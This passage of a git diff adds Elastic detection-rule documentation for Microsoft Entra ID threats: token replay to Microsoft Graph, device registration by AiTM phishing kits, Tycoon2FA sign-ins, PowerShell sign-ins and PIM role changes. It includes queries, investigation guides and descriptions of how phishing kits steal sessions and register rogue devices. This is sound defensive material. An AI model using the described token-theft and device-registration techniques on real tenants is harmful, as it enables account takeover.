66a88757-258c-4c72-893c-3e8bed4d6899 or + 6bc3b958-689b-49f5-9006-36d165f30e00 or + 8c59ead7-d703-4a27-9e55-c96a0054c8d2 or + 95de633a-083e-42f5-b444-a4295d8e9314 or + ab9b8c07-8f02-4f72-87fa-80105867a763 or + cc15fd57-2c6c-4117-a88c-83b1d56b4bbe or + d52792f4-ba38-424d-8140-ada5b883f293 or + e8be65d6-d430-4289-a665-51bf2a194bda or + fc0f3af4-6835-4174-b806-f7db311fd2f3 +) and +not ( + azure.signinlogs.properties.resource_id:c2ada927-a9e2-4564-aae2-70775a2fa0af and + ( + azure.signinlogs.properties.app_id:00000002-0000-0ff1-ce00-000000000000 and + azure.signinlogs.properties.device_detail.operating_system:Windows or + azure.signinlogs.properties.app_id:5f00fd34-f302-417f-81ef-1adda179d8fd and + azure.signinlogs.properties.device_detail.operating_system:Windows* + ) and + azure.signinlogs.properties.device_detail.is_managed:true and + azure.signinlogs.properties.device_detail.is_compliant:true and + azure.signinlogs.properties.device_detail.trust_type:("Azure AD joined" or "Hybrid Azure AD joined") and + azure.signinlogs.properties.device_detail.device_id:(* and not "") and + azure.signinlogs.properties.incoming_token_type:none and + azure.signinlogs.properties.client_app_used:Browser and + azure.signinlogs.category:NonInteractiveUserSignInLogs +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Technique: +** Name: Impersonation +** ID: T1656 +** Reference URL: https://attack.mitre.org/techniques/T1656/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc new file mode 100644 index 0000000000..eecf8b85d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc @@ -0,0 +1,255 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-to-microsoft-graph]] +=== Entra ID OAuth User Impersonation to Microsoft Graph + +Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-31m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://attack.mitre.org/techniques/T1078/004/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: API +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Tactic: Initial Access +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth User Impersonation to Microsoft Graph* + + +Identifies potential phishing, session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID and client application. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be +performed to the original sign-in and Graph events for further context. + + +*Possible investigation steps* + + +- This rule relies on an aggregation-based ESQL query, therefore the alert document will contain dynamically generated fields. + - To pivot into the original events, it is recommended to use the values captured to filter in timeline or discovery for the original sign-in and Graph events. +- Review the session ID and user ID to identify the user account involved in the suspicious activity. +- Check the source addresses involved in the sign-in and Graph access to determine if they are known or expected locations for the user. + - The sign-in source addresses should be two, one for the initial phishing sign-in and the other when exchanging the auth code for a token by the adversary. + - The Graph API source address should identify the IP address used by the adversary to access Microsoft Graph. +- Review the user agent strings for the sign-in and Graph access events to identify any anomalies or indicators of compromise. +- Analyze the Graph permission scopes to identify what resources were accessed and whether they align with the user's expected behavior. +- Check the timestamp difference between the sign-in and Graph access events to determine if they occurred within a reasonable time frame that would suggest successful phishing to token issuance and then Graph access. +- Identify the original sign-in event to investigation if conditional access policies were applied, such as requiring multi-factor authentication or blocking access from risky locations. In phishing scenarios, these policies likely were applied as the victim user would have been prompted to authenticate. + + +*False positive analysis* + +- This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile). +- Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved. + + +*Response and remediation* + + +- If confirmed malicious, revoke all refresh/access tokens for the user principal. +- Block the source IP(s) involved in the Graph access. +- Notify the user and reset credentials. +- Review session control policies and conditional access enforcement. +- Monitor for follow-on activity, such as lateral movement or privilege escalation. +- Review conditional access policies to ensure they are enforced correctly. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In and Graph Activity Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs and Microsoft Graph Activity Logs integration to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-*, logs-azure.graphactivitylogs-* metadata _id, _version, _index +| where + (data_stream.dataset == "azure.signinlogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.signinlogs.properties.session_id is not null) + or + (data_stream.dataset == "azure.graphactivitylogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.graphactivitylogs.properties.c_sid is not null) + +| eval + Esql.azure_signinlogs_properties_session_id_coalesce = coalesce(azure.signinlogs.properties.session_id, azure.graphactivitylogs.properties.c_sid), + Esql.azure_signinlogs_properties_user_id_coalesce = coalesce(azure.signinlogs.properties.user_id, azure.graphactivitylogs.properties.user_principal_object_id), + Esql.azure_signinlogs_properties_app_id_coalesce = coalesce(azure.signinlogs.properties.app_id, azure.graphactivitylogs.properties.app_id), + Esql.source_ip = source.ip, + Esql.@timestamp = @timestamp, + Esql.event_type_case = case( + data_stream.dataset == "azure.signinlogs", "signin", + data_stream.dataset == "azure.graphactivitylogs", "graph", + "other" + ), + Esql.signin_source_asn = case(data_stream.dataset == "azure.signinlogs", source.`as`.organization.name), + Esql.graph_source_asn = case(data_stream.dataset == "azure.graphactivitylogs", source.`as`.organization.name) + +| where Esql.azure_signinlogs_properties_app_id_coalesce not in ( + "4354e225-50c9-4423-9ece-2d5afd904870", // Augmentation Loop + "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe", // Microsoft Teams Services + "ecd6b820-32c2-49b6-98a6-444530e5a77a", // Microsoft Edge [Community Contributed] + "e8be65d6-d430-4289-a665-51bf2a194bda", // Microsoft 365 App Catalog Services + "ab9b8c07-8f02-4f72-87fa-80105867a763", // OneDrive SyncEngine + "394866fc-eedb-4f01-8536-3ff84b16be2a", // Microsoft People Cards Service + "66a88757-258c-4c72-893c-3e8bed4d6899", // Office 365 Search Service + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7", // Bing + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", // Microsoft Edge Enterprise New Tab Page [Community Contributed] + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3", // Microsoft Application Command Service [Community Contributed] + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444", // Graph Files Manager + "27922004-5251-4030-b22d-91ecd9a37ea4", // Outlook Mobile + "bb893c22-978d-4cd4-a6f7-bb6cc0d6e6ce", // Olympus [Community Contributed] + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", // Windows Search + "00000007-0000-0000-c000-000000000000", // Dataverse + "6bc3b958-689b-49f5-9006-36d165f30e00", // Teams CMD Services Artifacts + "0ec893e0-5785-4de6-99da-4ed124e5296c", // Office UWP PWA [Community Contributed] + "fc108d3f-543d-4374-bbff-c7c51f651fe5", // Zoom + "01fc33a7-78ba-4d2f-a4b7-768e336e890e", // MS PIM + "7ab7862c-4c57-491e-8a45-d52a7e023983" // Power Automate / Logic Apps Graph Connector + ) and Esql.signin_source_asn IS NOT NULL and Esql.graph_source_asn IS NOT NULL + +| keep + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.source_ip, + Esql.@timestamp, + Esql.event_type_case, + Esql.azure_signinlogs_properties_user_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.signin_source_asn, + Esql.graph_source_asn, + source.`as`.organization.name, + user_agent.original, + url.original, + azure.graphactivitylogs.properties.scopes, + azure.signinlogs.properties.user_principal_name + +| stats + Esql.azure_signinlogs_properties_user_id_coalesce_values = values(Esql.azure_signinlogs_properties_user_id_coalesce), + Esql.azure_signinlogs_properties_session_id_coalesce_values = values(Esql.azure_signinlogs_properties_session_id_coalesce), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.source_ip_values = values(Esql.source_ip), + Esql.source_ip_count_distinct = count_distinct(Esql.source_ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.signin_source_asn_values = values(Esql.signin_source_asn), + Esql.signin_source_asn_count_distinct = count_distinct(Esql.signin_source_asn), + Esql.graph_source_asn_values = values(Esql.graph_source_asn), + Esql.graph_source_asn_count_distinct = count_distinct(Esql.graph_source_asn), + Esql.user_agent_original_values = values(user_agent.original), + Esql.azure_signinlogs_properties_app_id_coalesce_values = values(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct = count_distinct(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.event_type_case_values = values(Esql.event_type_case), + Esql.event_type_case_count_distinct = count_distinct(Esql.event_type_case), + Esql.signin_time_min = min(case(Esql.event_type_case == "signin", Esql.@timestamp)), + Esql.graph_time_min = min(case(Esql.event_type_case == "graph", Esql.@timestamp)), + Esql.url_original_values = values(url.original), + Esql.azure_graphactivitylogs_properties_scopes_values = values(azure.graphactivitylogs.properties.scopes), + Esql.event_count = count() + by + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.azure_signinlogs_properties_user_id_coalesce + +| eval + Esql.event_signin_to_graph_delay_minutes_date_diff = date_diff("minutes", Esql.signin_time_min, Esql.graph_time_min), + Esql.event_signin_to_graph_delay_days_date_diff = date_diff("days", Esql.signin_time_min, Esql.graph_time_min) + +| where + Esql.event_type_case_count_distinct > 1 and + Esql.source_ip_count_distinct > 1 and + Esql.source_as_organization_name_count_distinct > 1 and + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct == 1 and + Esql.signin_time_min is not null and + Esql.graph_time_min is not null and + Esql.event_signin_to_graph_delay_minutes_date_diff > 0 and + Esql.event_signin_to_graph_delay_days_date_diff == 0 and + (Esql.signin_source_asn_count_distinct + Esql.graph_source_asn_count_distinct) == Esql.source_as_organization_name_count_distinct + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc new file mode 100644 index 0000000000..39ea75b9ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-entra-id-phishing-kit-default-os-build-entity-analytics]] +=== Entra ID Phishing Kit Default OS Build (Entity Analytics) + +Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is "10.0.19045.2006". This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and differs from legitimate hosts: a patched Windows 10 22H2 device reports a far higher "10.0.19045." value, so a device frozen at ".2006" with a default name is a high-fidelity, though evadable, indicator. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-entityanalytics_entra_id.device-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Entity Analytics +* Use Case: Asset Visibility +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Phishing Kit Default OS Build (Entity Analytics)* + + +AiTM phishing kits including Tycoon2FA and Kali365 register a device in Entra ID with a frozen default operating system build of `10.0.19045.2006` and a default name of `DESKTOP-`. This build is hardcoded by the tooling and differs from the OS version of legitimate, patched hosts (a current Windows 10 22H2 device reports a much higher `10.0.19045.` value), making the build a useful indicator of kit-driven device registration. This rule runs against the Entra ID Entity Analytics device inventory and fires the first time a device matching this fingerprint appears, so an alert generally represents a newly observed rogue device rather than a real-time registration event. Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access bypass, and persistent token-based access. + + +*Possible investigation steps* + + +- Confirm the device identity via `host.name`, `host.os.version`, `entityanalytics_entra_id.device.display_name`, and `entityanalytics_entra_id.device.id` (or `device.id`). Default `DESKTOP-` names that do not match your naming convention are suspicious; kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. +- Review `entityanalytics_entra_id.device.registration_date_time` and `entityanalytics_entra_id.device.trust_type` to establish when and how the device was registered; kit devices are typically `AzureAd` joined. +- Identify the registered owner via `entityanalytics_entra_id.device.registered_owners.user_principal_name` and determine whether that user is expected to register a new device. +- Check `entityanalytics_entra_id.device.is_managed` and `entityanalytics_entra_id.device.is_compliant`; kit-registered devices are typically unmanaged and non-compliant. +- Pivot to `logs-azure.auditlogs-*` for the corresponding `Add device` and `Register device` events (initiated by the `Device Registration Service` via the `Microsoft Authentication Broker`). Inspect the `Register device` user agent, which is frequently a spoofed `Dsreg/10.0 (Windows 10.0.19045.2006)` string or a raw HTTP client such as `axios/*` or `python-requests/*`. +- Check whether the same owner registered multiple devices in a short window (a single piece of kit infrastructure registering several devices is common for PRT persistence at scale) and whether the broker was subsequently used to mint tokens for other resources such as Microsoft Graph. +- Pivot to `logs-azure.signinlogs-*` for sign-ins by the device owner where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 22H2 hosts may legitimately report the `10.0.19045.2006` build with a default `DESKTOP-` host name. Validate against device inventory and patch baseline. +- Authorized security assessments that register devices with this OS profile will appear in inventory. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the device from Entra ID and revoke the owner's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"entityanalytics_entra_id.device" and + event.provider:"Microsoft Entra ID" and + host.name:DESKTOP-* and host.os.version:"10.0.19045.2006" and + host.id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-potential-aitm-sign-in-via-officehome-tycoon2fa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-potential-aitm-sign-in-via-officehome-tycoon2fa.asciidoc new file mode 100644 index 0000000000..cb5e254597 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-potential-aitm-sign-in-via-officehome-tycoon2fa.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-entra-id-potential-aitm-sign-in-via-officehome-tycoon2fa]] +=== Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA) + +Detects Microsoft Entra ID sign-ins consistent with Tycoon2FA phishing-as-a-service (PhaaS) adversary-in-the-middle (AiTM) activity: the Microsoft Authentication Broker requesting tokens for Microsoft Graph or Exchange Online, or the Office web client application authenticating to itself, combined with Node.js-style user agents (node, axios, undici). Tycoon 2FA bypasses MFA by relaying authentication and capturing session material, often targeting Microsoft 365 and Gmail. Baseline legitimate automation and developer tooling before tuning. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA)* + + +Review user.name, azure.signinlogs.properties.user_principal_name, azure.signinlogs.properties.app_id, +azure.signinlogs.properties.resource_id, user_agent.original, source.ip, source.geo fields, and +azure.signinlogs.properties.session_id. + +Confirm whether the user intentionally signed in and whether Node.js-style user agents (node, axios, undici) are +expected for Microsoft Authentication Broker or Office web client flows in your environment. + + +*Possible investigation steps* + + +- Correlate the session with Microsoft Graph activity logs and mailbox audit for follow-on data access. +- Review conditional access outcomes and MFA detail for the same session. +- Hunt for other sign-ins from the same source IP with unusual user agents or rapid OAuth patterns. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, reset credentials per policy, and review application consent. +- Block or monitor the source IP and escalate per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.category:"authentication" and +event.action:"Sign-in activity" and +( + ( + azure.signinlogs.properties.app_id:"29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_id:( + "00000002-0000-0ff1-ce00-000000000000" or "00000003-0000-0000-c000-000000000000" + ) + ) or + ( + azure.signinlogs.properties.app_id:"4765445b-32c6-49b0-83e6-1d93765276ca" and + azure.signinlogs.properties.resource_id:"4765445b-32c6-49b0-83e6-1d93765276ca" + ) +) and user_agent.original:(node or axios* or undici) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-powershell-sign-in.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-powershell-sign-in.asciidoc new file mode 100644 index 0000000000..6f2e52a384 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-powershell-sign-in.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-entra-id-powershell-sign-in]] +=== Entra ID PowerShell Sign-in + +Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows for managing settings from the command line, which is intended for users who are members of an admin role. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ +* https://docs.microsoft.com/en-us/microsoft-365/enterprise/connect-to-microsoft-365-powershell?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID PowerShell Sign-in* + + +Azure Active Directory PowerShell for Graph (Azure AD PowerShell) is a module IT professionals commonly use to manage their Azure Active Directory. The cmdlets in the Azure AD PowerShell module enable you to retrieve data from the directory, create new objects in the directory, update existing objects, remove objects, as well as configure the directory and its features. + +This rule identifies sign-ins that use the Azure Active Directory PowerShell module, which can indicate unauthorized access if done outside of IT or engineering. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Evaluate whether the user needs to access Azure AD using PowerShell to complete its tasks. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the involved user account. Do they look normal? +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate suspicious actions taken by the user using the module, for example, modifications in security settings that weakens the security policy, persistence-related tasks, and data access. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding IT, Engineering, and other authorized users as exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + azure.signinlogs.properties.app_display_name:"Azure Active Directory PowerShell" and + azure.signinlogs.properties.token_issuer_type:AzureAD and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-privileged-identity-management-pim-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-privileged-identity-management-pim-role-modified.asciidoc new file mode 100644 index 0000000000..6c5ca395df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-privileged-identity-management-pim-role-modified.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-entra-id-privileged-identity-management-pim-role-modified]] +=== Entra ID Privileged Identity Management (PIM) Role Modified + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-resource-roles-assign-roles +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-configure + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Privileged Identity Management (PIM) Role Modified* + + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. + +This rule identifies the update of PIM role settings, which can indicate that an attacker has already gained enough access to modify role assignment settings. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the user 